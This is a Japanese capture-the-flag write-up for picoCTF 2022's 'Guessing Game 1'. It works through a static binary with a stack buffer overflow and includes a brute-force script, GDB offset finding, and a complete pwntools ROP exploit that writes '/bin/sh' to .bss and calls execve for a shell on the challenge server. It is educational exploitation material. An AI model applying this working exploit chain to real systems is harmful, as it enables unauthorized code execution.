mov命令とbssセクションを利用したROPでシェルをとる

picoCTF 2022 Mini-Competitionの「Guessing Game 1」という問題

bofとROPによる攻撃だが、ガジェットにmov命令を使ったり、"/bin/sh"という文字列の扱い方が勉強になった。

プログラムの概要

checksec

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ checksec ./vuln
[*] '/home/shoebill/pwn/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

しかし、与えられたMakefileを読むとCanaryは無いことがわかる:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ cat Makefile
all:
    gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
    rm vuln

brute forceとbof

int main(int argc, char **argv){
        
        int res;
        
        printf("Welcome to my guessing game!\n\n");
        
        while (1) {
                res = do_stuff();
                if (res) {
                        win();
                }
        }
        
        return 0;
}

main関数に入るとdo_stuff関数の無限ループが始まる。

#define BUFSIZE 100

long increment(long in) {
        return in + 1;
}

long get_random() {
        return rand() % BUFSIZE;
}
int do_stuff() {
        long ans = get_random();
        ans = increment(ans);
        int res = 0;
        
        printf("What number would you like to guess?\n");
        char guess[BUFSIZE];
        fgets(guess, BUFSIZE, stdin);
        
        long g = atol(guess);
        if (!g) {
                printf("That's not a valid number!\n");
        } else {
                if (g == ans) {
                        printf("Congrats! You win! Your prize is this print statement!\n\n");
                        res = 1;
                } else {
                        printf("Nope!\n\n");
                }
        }

ランダムな数字は100で割った余り+1つまり1から100まで。

入力した数字がそのランダムな数字とあっていればwin関数が実行される。

void win() {
        char winner[BUFSIZE];
        printf("New winner!\nName? ");
        fgets(winner, 360, stdin);
        printf("Congrats %s\n\n", winner);
}

win関数にbof脆弱性がある。

BUFSIZEは100なのにfgetsで入力サイズが360になっている。

brute force

#!/usr/bin/env python3
import random
import time
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './vuln'
binf = ELF(bin_file, checksec = False)
context.binary = binf
context.log_level = 'debug'

while True:
    conn = process(bin_file)
#    conn = remote('jupiter.challenges.picoctf.org', 39940)

    num = random.randint(1, 100)
    conn.sendlineafter('What number would you like to guess?', str(num))
    conn.recvline()
    req = conn.recvline()

    if b'Nope!' in req:
        conn.close()
        time.sleep(1)
    else:
        name = 'Kali'
        conn.sendafter('Name? ', name)
        break
┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./brute.py
...
[DEBUG] Sent 0x3 bytes:
    b'84\n'
[DEBUG] Received 0x4a bytes:
    b'Congrats! You win! Your prize is this print statement!\n'
    b'\n'
    b'New winner!\n'
    b'Name? '
[DEBUG] Sent 0x4 bytes:
    b'Kali'
[*] Stopped process './vuln' (pid 11633)

このbrute.pyを(ローカルで)何回実行しても84が正解となる。

リモートターゲットに対してブルートフォースしてもやはり84が正解となった。

試しにexploitを使わずに普通にアクセスしてやったら84で正解となったので、ランダムな数字は84で確定。

exploit

win関数のbofを狙ってROP攻撃する。

#!/usr/bin/env python3
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './vuln'
binf = ELF(bin_file, checksec = False)
context.binary = binf

def attack(conn):
    conn.sendlineafter('What number would you like to guess?', '84')

    rop = ROP(binf)

    rop.raw(rop.rdx)
    rop.raw('/bin/sh\x00')  # "\x00"を省略すると失敗する
    rop.raw(rop.rax)
    rop.raw(binf.bss())
    rop.raw(0x000000000048dd71)

    # execve('/bin/sh', 0, 0)
    rop.raw(rop.rdi)
    rop.raw(binf.bss())
    rop.raw(rop.rsi)
    rop.raw(0)
    rop.raw(rop.rdx)
    rop.raw(0)
    rop.raw(rop.rax)
    rop.raw(constants.SYS_execve)
    rop.raw(rop.syscall.address)

    payload = b'A' * 0x70
    payload += p64(0xdeadbeef)  # saved-rbp
    payload += rop.chain()  # リターンアドレスをROPチェーンに置き換える

    conn.sendlineafter('Name? ', payload)

def main():
    #conn = process(bin_file)
    conn = remote('jupiter.challenges.picoctf.org', 39940)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

リターンアドレスまでのオフセット

win関数をディスアセンブルすると

gdb-peda$ disas win
Dump of assembler code for function win:
   0x0000000000400c40 <+0>:   push   rbp
   0x0000000000400c41 <+1>:   mov    rbp,rsp
   0x0000000000400c44 <+4>:   sub    rsp,0x70
   0x0000000000400c48 <+8>:   lea    rdi,[rip+0x92478]        # 0x4930c7
   0x0000000000400c4f <+15>:  mov    eax,0x0
   0x0000000000400c54 <+20>:  call   0x410010 <printf>
   0x0000000000400c59 <+25>:  mov    rdx,QWORD PTR [rip+0x2b9b48]        # 0x6ba7a8 <stdin>
   0x0000000000400c60 <+32>:  lea    rax,[rbp-0x70]
   0x0000000000400c64 <+36>:  mov    esi,0x168
   0x0000000000400c69 <+41>:  mov    rdi,rax
   0x0000000000400c6c <+44>:  call   0x410a10 <fgets>
   0x0000000000400c71 <+49>:  lea    rax,[rbp-0x70]
...

よってスタックの様子は次のようになっている(0x70 = 112):

      +-------------------+
-0x70 |                   |
      |                   |
      |                   |
      |                   |
      |                   |
      |                   |
      |                   |
      |      winner       |
      |                   |
      |                   |
      |                   |
      |                   |
      |                   |
      |                   |
      +-------------------+
      |                   |
      |    saved rbp      |
      |                   |
      +-------------------+
      |                   |
      |      retaddr      |
 +0x8 |                   |
      +-------------------+

次のようにgdbのパターン文字列を使ってもよい。Nameを入力するタイミングにブレークポイントを打って、Nameにパターン文字列を入力してやる:

gdb-peda$ b *win+44
gdb-peda$ pattc 400
'AAA%AAsAABAA$AA...A%ZA%xA%y'
gdb-peda$ r
Starting program: /home/shoebill/pwn/vuln 
Welcome to my guessing game!

What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!

New winner!
Name?
...
[-------------------------------------code-------------------------------------]
   0x400c60 <win+32>: lea    rax,[rbp-0x70]
   0x400c64 <win+36>: mov    esi,0x168
   0x400c69 <win+41>: mov    rdi,rax
=> 0x400c6c <win+44>:  call   0x410a10 <fgets>
   0x400c71 <win+49>: lea    rax,[rbp-0x70]
   0x400c75 <win+53>: mov    rsi,rax
   0x400c78 <win+56>: lea    rdi,[rip+0x9245b]        # 0x4930da
   0x400c7f <win+63>: mov    eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdcb0 --> 0xa ('\n')
arg[1]: 0x168 
arg[2]: 0x6ba580 --> 0xfbad2288
...
gdb-peda$ ni
AAA%AAsAABAA$AA...A%ZA%xA%y
[----------------------------------registers-----------------------------------]
...
RBP: 0x7fffffffdd20 ("AA8AANAA...
...
gdb-peda$ patto AA8AANAA
AA8AANAA found at offset: 112

ROPチェーンとシェル起動

今回のROPチェーン:

0x0000:         0x44a6b5 pop rdx; ret
0x0008:   b'/bin/sh\x00' '/bin/sh\x00'
0x0010:         0x4163f4 pop rax; ret
0x0018:         0x6bc3a0 completed.7147
0x0020:         0x48dd71
0x0028:         0x400696 pop rdi; ret
0x0030:         0x6bc3a0 completed.7147
0x0038:         0x410ca3 pop rsi; ret
0x0040:              0x0
0x0048:         0x44a6b5 pop rdx; ret
0x0050:              0x0
0x0058:         0x4163f4 pop rax; ret
0x0060:             0x3b SYS_execve
0x0068:         0x40137c syscall
0x0070:         0x400416 ret

execve('/bin/sh', 0, 0)のsyscallをしてシェルをとる。

"/bin/sh"という文字列の取扱い

次のガジェットを使う:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ROPgadget --binary ./vuln | grep mov
...
0x000000000048dd71 : mov qword ptr [rax], rdx ; ret
...

rdxレジスタに文字列"/bin/sh"を格納し、raxレジスタにはbssセクションのアドレスを格納する。

その後、このガジェットによりbssセクションに文字列"/bin/sh"が格納される。

rop.raw(rop.rdx)
rop.raw('/bin/sh\x00')
rop.raw(rop.rax)
rop.raw(binf.bss())
rop.raw(0x000000000048dd71)

なので、execve('/bin/sh', 0, 0)をsyscallする際は、rdiレジスタbssセクションのアドレスを格納させる:

rop.raw(rop.rdi)
rop.raw(binf.bss())
rop.raw(rop.rsi)
rop.raw(0)
rop.raw(rop.rdx)
rop.raw(0)
rop.raw(rop.rax)
rop.raw(constants.SYS_execve)
rop.raw(rop.syscall.address)